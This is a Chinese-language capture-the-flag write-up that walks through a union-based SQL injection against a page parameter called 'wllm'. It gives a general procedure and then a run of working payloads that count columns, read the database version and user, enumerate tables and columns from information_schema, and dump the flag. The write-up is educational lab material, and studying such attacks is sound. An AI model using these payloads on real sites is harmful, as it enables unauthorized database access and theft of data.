题目
解题思路
SQL注入流程:
1. 是否存在注入并且判断注入类型
2. 判断字段数 ' order by 数字 -- '
3. 确定回显点 -1 ' union select 1,2 -- '
4. 查询数据库信息 @@version @@datadir
5. 查询用户名,数据库名 user() database()
6. 查询表名 -1 ' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='数据库名' -- '
7. 查询列名 -1 ' union select 1,2, group_concat(column_name) from information_schema.columns where table_name='表名' -- '
8. 查询flag -1 ' union select 1,2, group_concat(flag所在的列名) from 表名
WriteUp
1. 检查源码,看是否有参数
一道简单的sql注入题,首先查看源代码,看看参数是啥
可知,我们需要用到参数wllm
用wllm参数试一下
/?wllm=1
2. 判断字段数
/?wllm=-1 ' union order by 3 -- '
3可以,4不行,说明字段数为3
3. 查看回显点
/?wllm=-1 ' union select 1,2,3 -- '
4. 数据库信息
/?wllm=-1 ' union select 1, 2, @@version -- '
MariaDB数据库管理系统是MySQL的一个分支,说明需要使用mysql语句注入
5. 查询库名和用户名
/?wllm=-1 ' union select 1, 2, database() -- '
可知,当前数据库名为test_db
/?wllm=-1 ' union select 1, 2, user() -- '
显示root@localhost,说明该用户为root超级管理员用户帐户,可以查看数据库信息
6. 爆表
/?wllm=-1 ' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema='test_db'-- '
说明有两个表,test_tb和users
7. 爆列
先试试test_tb表
/?wllm=-1 ' union select 1, 2, group_concat(column_name) from information_schema.columns where table_name='test_tb' -- '
可以看到有列名为id,flag,说明flag极大可能在这个表中
8. 查flag
/?wllm=-1 ' union select 1,2, group_concat(flag) from test_tb -- '
找到flag啦!